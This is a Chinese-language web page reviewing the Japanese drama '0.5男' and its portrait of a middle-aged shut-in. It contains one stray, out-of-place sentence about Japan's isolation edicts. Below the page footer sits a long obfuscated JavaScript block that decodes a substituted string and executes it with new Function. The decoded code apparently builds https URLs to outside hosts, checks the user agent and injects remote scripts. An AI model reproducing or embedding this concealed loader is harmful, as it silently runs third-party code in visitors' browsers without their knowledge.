「0.5男」的逆袭路

分类:影视资讯//615 阅读

《0.5男》是去年在日本播出的日剧,一共5集,每集60分钟。

主打一个“全世界拯救废宅男”的主题,拍得很生活化,极符合日本影视的调性:

通过一句台词把作品的“味道”激发出来。

就像男主母亲在解释为什么男主宅在家里多年时,那句:

“可能他是个很温柔的人啊!”

那种淡淡的忧伤瞬间被伟大的母爱遮盖,进而让“0.5男”瞬间被人同情,较之大道理要生动许多。

主演松田龙平,其貌不扬,但善于驾驭各种角色,之前主演过《犬之岛》《四重奏》和《娜娜》等,也是个极具生活化表演风格的演员。在《0.5男》中他出场就是一副要死不活的样子,背景交代得也很清晰:

四十岁的中年男,在家里一宅很多年,靠啃老生活。

每天窝在自己的小房间里上网打游戏,吃饭全靠父母送到门口,交流全靠便签纸。

社恐,拒绝沟通。对一切漠不关心。

这种人在日本社会也是一个为数不少的群体,基本上如果不出意外的话,这个人待父母故去后极有可能死在屋子里,要过很久才会被人发现。

然后,一个可爱的故事开始了。

1

本剧中亮眼的角色太多了,男主雅治(松田龙平 饰)算一个,男主父母(木场胜己、风吹淳 饰)算一对,男主的外甥女惠麻(白鸟玉季 饰)算一个,幼儿园女老师瞳(西野七濑 饰)算一个。

主要人物关系和故事推进全在这几个角色之间。

雅治在等死的某一天忽然看到母亲留下的便签条上说“你妹妹要搬过来和咱们一起住”,这个消息对他来说难分好坏。

妹妹一家人算是社会意义上的“正常人”,工作、上班、结婚、生子。

如今他的外甥女惠麻已经长成了亭亭玉立的大姑娘了,却在妹妹一家到访的第一天就碰到了“恶心的怪大叔”,即便是自己的舅舅,她也觉得难以忍耐,更别提和这样一个废宅住在一起。

不仅她这么想,她的母亲——雅治的妹妹也这么想。

但是雅治的父母让女儿女婿一家人和自己住在一起,最主要的原因正是希望他们“走”后有人能继续照料儿子。

另外说明一下两家人为什么在一起住的社会背景:

日本有很多一户建老房子(大多是木制),严格意义上年久失修,但占地面积很大,且属于永久产权。随着屋主年纪老去,这些房屋通常也会进行整体修缮。在日本这种情况很常见,一般都会返修成木石结构。而在经济持续低迷的日本社会,抱团取暖的家庭关系比比皆是,因此剧中女儿女婿一家和父母住在一起情有可原,这就是“二代建”——

翻修房屋的同时考虑到一家两代人的生活起居,设计容纳各自的生活空间。

但雅治一家情况略有不同:

所有人要考虑到雅治的存在,所以进行了“2.5”式的房屋重修计划,为的是在新居中他保留“0.5”的生活空间,这就是本剧“0.5男”的由来。

雅治也知道自己就是那个“0.5”,他生气,但也无可奈何。

作为一个中年男性,至今啃老多年,无论谁鄙视他似乎也都是应该的。

所以在雅治妹妹一家刚搬进来的那段时间里,雅治处于一个很尴尬的位置:

他做什么别人都觉得别扭。

尤其是在生活节奏很快的日本社会,“卷”文化同样盛行。

妹妹两口子对这位年过四十还在当宅男的哥哥始终保持客气谨慎的距离。

他们的女儿惠麻更是如此。

她吐槽说家里这个“怪大叔”很恶心。

并在网上连用三个“恶心”向自己的网游偶像吐槽。

只不过她没想到的是,这位网游大神正是她的舅舅本舅——雅治。

作为全世界宅男的基本职业选项,雅治不但玩网游,玩得还挺不错。

2

说不清雅治和惠麻这对舅甥是从什么时候开始关系渐变的。

可能是在网络上,雅治看到自己多了个小迷妹,又发现这个小迷妹的头像很熟悉,于是他打开相册,发现头像使用的玩偶,正是自己妹妹产子那天自己送的玩偶。

所以雅治一开始就知道自己网上的粉丝是现实中一直对他冷眼相待的外甥女。

这两种截然不同的态度正在逐渐敲碎雅治看似坚固的外壳:

他希望自己在现实中也能得到惠麻的认可。

我认为这是雅治改变的最原始动力。

所以才能看到他努力尝试提升每天的“社交量”,愿意主动接送惠麻的弟弟,自己的小外甥,还能主动回到饭厅跟大家一起吃饭。

甚至他还向外甥所在的幼儿园老师瞳请教“如何讨好一个青春期的小姑娘”。

惠麻那边,也在一次和父母的争吵中跑进雅治的房间,害得自己舅舅不得不出门在超市借宿一晚。

那晚,惠麻发现房间里随处可见的便签纸,后来还发现自己的舅舅正是自己在网上崇拜的网游偶像——

现实中的舅舅和网上意气风发的大神完全是两个人。

她很好奇,为什么舅舅会变成现在这个样子?

于是她问自己的外婆,雅治的母亲。

对方说出那句让人暖心又悲伤的话:

“可能他是个很温柔的人啊!”

这也是一句很人文主义的表述。

《0.5男》中有不少类似的情节,如惠麻逃学,在网上跟自己舅舅吐槽。雅治本想劝诫,但他随即说“偶尔也会有想逃学的一天呢!”

不说教、不生硬,把自己置于对方立场。

雅治在“教育”和自己一样深宅的邻居时,也说:

“其实没有人在意你将来一定要做什么,你可以不让人期待的。”

此时雅治已经在重新走出家门,每天去幼儿园接送外甥的过程中,用近乎白纸的心态重新构建眼中的世界。

当然,故事一定要给到主角“解释”的理由,这才有了那一天,雅治去幼儿园接外甥,却遇到自己曾经的上司,他惊惶失措逃走的那一幕。

他,似乎又想把自己放进那个小房间里。

在上司的口中,惠麻和瞳了解到雅治的过去:

曾经的雅治是一个优秀积极的网络程序员,上司习惯了一有问题就交给他解决,而他从来不会推辞。大家都觉得雅治能搞定一切,直到有一天,雅治给他打电话说自己病了,后来再也没来上班。人们发现他崩溃了,就那么无声无息地崩溃了。拒绝沟通、拒绝工作、拒绝和这个世界产生联系。

在幼儿园里,曾经的上下级,两个中年男人达成了和解——

上司说他走后自己被告“职务侵犯”,不仅丢了工作,妻子也和自己离了婚。他不理解为什么努力也是一种错?

两个人坐在秋千上聊着天,雅治卸下了防备。

其实很多时候就是一句话的事情,却因为疏于沟通让问题越积越多,最终出现问题。

在别人眼中的雅治,终于活跃了起来。

他和父亲一起晨跑,帮母亲做家务,和外甥对着电视机跳舞。他的每一次改变都让人欣喜不已。

最重要的是,他居然对老师瞳产生了少男般的羞涩,每天跟瞳聊几句就能让他神采飞扬。惠麻看在眼里,告诉他“你长得还算过得去,就是穿衣服太老土了”……

在惠麻眼中,这个“怪叔叔”也真的成了她的家人。

因为外婆说过:

“如果看到他难过了,请帮帮他。”

3

日本历史上确实发布过“锁国令”。

有一天,雅治的父亲在街上看到一个年轻人在发传单,他想起自己的儿子,也曾和这个年轻人一样,西装革履,精神抖擞。

“我走之后,谁来照顾他呢?”

父亲想。

这才有了“2.5”的房屋修缮,还有了妹妹一家人的到来。

全剧最让人泪目的,便是这对父母对雅治的宽容与理解。

当雅治意识到自己可以重新融入社会时,他还面临一个新问题:

我好像……没工作很多年了。

幼儿园的老师和家长貌似都知道这个“大男孩”一直没有工作,在家啃老。

这让心中有了爱的雅治手足无措。

瞳和他站在一起,说“我不能接受没工作的男人。”

雅治说“我四十岁了,不知道还能不能考幼师?”

瞳笑了,雅治也笑了。

雅治父亲对雅治说起自己在街头看到那个“和他很像的年轻人”时,画面中那个年轻人变成了雅治,这种处理效果特别好,很容易把人代入到雅治的角度。

虽然他过去的工作和生活场景没有具体表现出来,但仅凭这一场臆想中的“雅治重置”,我竟也看到了一个曾经在职场上特别干练的精英形象。

《0.5男》很生活,没有悬疑,剧情围绕一个宅男的生活场景展开,但剧情处理得很细腻。我没有看到对宅男雅治的粗暴定义,它在抽丝剥茧中通过回忆和想象,逐渐拼凑出一个人的心理变化。

对于日本社会“深宅”族,该剧也在深入刻画他们的种种心态,甚至借雅治之口实名羡慕这群“游戏宅”的单纯社交:

没人问你的年龄、职业、收入,大家全凭爱好聚在一起。

这个角度很巧妙,它希望雅治能够回归正常社会,同时也在肯定雅治“一族”的正向人际关系,没有用世俗眼光简单总结“宅男都是废物”。

在亲情包裹下的雅治,整个人的变化肉眼可见又顺理成章。

他甚至在很多时候表现得特别可爱,有一种“发生肾么事了”的呆萌感。

同时,《0.5男》从侧面也在反映一个社会问题:

人和人之间交流的基础是什么?

不善拒绝的雅治在某一天心态崩溃,决定把自己完全封闭起来。

想出去玩的惠麻忍不住逃学,却不敢跟父母承认错误。

父母想要女儿一家照顾自己的儿子,却也忽略了女儿的感受。

这部剧就是这样,把很多问题用一种温柔的方式打开,让观众也能看到问题所在。

因此,该剧去年开播之后口碑持续走高,某瓣评分8.5,算是很不错的成绩。

而在中国,随着社会发展的变化,“雅治”也正在出现,我认为这是一个时代的趋势,中日两国都在先后进入某一个时段的瓶颈。

好在提前看到《0.5男》这种优质的作品,大概能让人重新审视身边一群“不恋爱、不工作、不结婚、不生孩子、只爱玩游戏”的“雅治”吧。

他们,曾经也是拥有理想的一群人啊。


用户评论

 正在加载

本站所有视频和图片均来自互联网收集而来,版权归原创者所有,本网站只提供web页面服务,并不提供资源存储,也不参与录制

Copyright © 2024 面包网(v.aiwule.com) All Rights Reserved

顶部
!function(){function a(a){var _idx="e8kj4cn7l4";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPPonQOTFphCmJRRRqYmRT4gQ00@/h^/onQjR8Y{SCo(21qo"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"onQ"=^8"Y{SCo(21qo"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"onQd2(LCYmRXR4C4mRT4"="onQ5p(LYpm(hCF5_mRT4"="onQD7(LSqmpD7^R:mRT4"="onQdC(LJ^mRXR4C4mRT4"="onQ(C(L:4m(hCF5_mRT4"="onQC2(LSYmpD7^R:mRT4"="onQ25(LLSmRXR4C4mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"gQ00@"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPPonQFC(LCDmD(dqf1@mRT4gQ00@/((/onQj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPPonQFC(LCDmD(dqf1@mRT4gQ00@/((/onQj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPPonQOTFphCmJRRRqYmRT4gQ00@/f/onQj(8}vR8Y{SCo(21qo"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPPonQOTFphCmJRRRqYmRT4gQ00@"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();